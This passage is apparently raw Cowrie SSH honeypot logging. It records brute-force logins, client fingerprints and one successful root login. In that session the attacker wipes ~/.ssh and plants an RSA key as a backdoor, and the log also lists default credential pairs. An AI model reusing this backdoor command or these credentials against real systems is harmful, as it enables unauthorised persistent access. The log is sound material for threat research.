{"eventid":"cowrie.session.connect","src_ip":"95.215.0.144","src_port":50302,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f7029b0c8e","protocol":"ssh","message":"New connection: 95.215.0.144:50302 (10.17.0.5:22) [session: 28f7029b0c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:20.019469Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:20.200134Z","src_ip":"95.215.0.144","session":"28f7029b0c8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.0.144","src_port":50304,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ae74fbaddec","protocol":"ssh","message":"New connection: 95.215.0.144:50304 (10.17.0.5:22) [session: 9ae74fbaddec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:20.363580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:20.368338Z","src_ip":"95.215.0.144","session":"9ae74fbaddec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-dss"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:20.540784Z","src_ip":"95.215.0.144","session":"9ae74fbaddec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:20.720425Z","src_ip":"95.215.0.144","session":"9ae74fbaddec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":56468,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb0d00d41f18","protocol":"ssh","message":"New connection: 2.57.122.210:56468 (159.203.135.109:22) [session: eb0d00d41f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:54.680865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:54.685440Z","src_ip":"2.57.122.210","session":"eb0d00d41f18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:54.785043Z","src_ip":"2.57.122.210","session":"eb0d00d41f18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:55.103323Z","src_ip":"2.57.122.210","session":"eb0d00d41f18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:00:56.205315Z","src_ip":"2.57.122.210","session":"eb0d00d41f18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":42588,"dst_ip":"10.17.0.5","dst_port":22,"session":"41073bf861be","protocol":"ssh","message":"New connection: 27.79.44.181:42588 (10.17.0.5:22) [session: 41073bf861be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:01.752802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:01.765753Z","src_ip":"27.79.44.181","session":"41073bf861be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:02.004797Z","src_ip":"27.79.44.181","session":"41073bf861be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:03.000684Z","src_ip":"27.79.44.181","session":"41073bf861be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:04.253280Z","src_ip":"27.79.44.181","session":"41073bf861be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":34780,"dst_ip":"10.17.0.5","dst_port":22,"session":"bed5dcea97aa","protocol":"ssh","message":"New connection: 200.225.246.102:34780 (10.17.0.5:22) [session: bed5dcea97aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:25.454997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:25.459342Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:25.589635Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.52.152.101","src_port":43440,"dst_ip":"159.203.135.109","dst_port":22,"session":"b82dcee49487","protocol":"ssh","message":"New connection: 103.52.152.101:43440 (159.203.135.109:22) [session: b82dcee49487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:25.859187Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:25.863243Z","src_ip":"103.52.152.101","session":"b82dcee49487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.066755Z","src_ip":"103.52.152.101","session":"b82dcee49487","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123@qwe","message":"login attempt [root/123@qwe] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.136784Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.434742Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.438049Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.441323Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.575239Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.872389Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.876055Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vendas","password":"vendas","message":"login attempt [vendas/vendas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:26.913810Z","src_ip":"103.52.152.101","session":"b82dcee49487","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:27.011109Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:27.014953Z","src_ip":"200.225.246.102","session":"bed5dcea97aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":35206,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdb7ab368799","protocol":"ssh","message":"New connection: 200.225.246.102:35206 (10.17.0.5:22) [session: fdb7ab368799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:27.135247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:27.140305Z","src_ip":"200.225.246.102","session":"fdb7ab368799","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:27.268610Z","src_ip":"200.225.246.102","session":"fdb7ab368799","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:27.818158Z","src_ip":"200.225.246.102","session":"fdb7ab368799","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:28.119623Z","src_ip":"103.52.152.101","session":"b82dcee49487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:28.949769Z","src_ip":"200.225.246.102","session":"fdb7ab368799","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":35828,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ad473310d3f","protocol":"ssh","message":"New connection: 200.225.246.102:35828 (10.17.0.5:22) [session: 0ad473310d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:29.073555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:01:29.077475Z","src_ip":"200.225.246.102","session":"0ad473310d3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 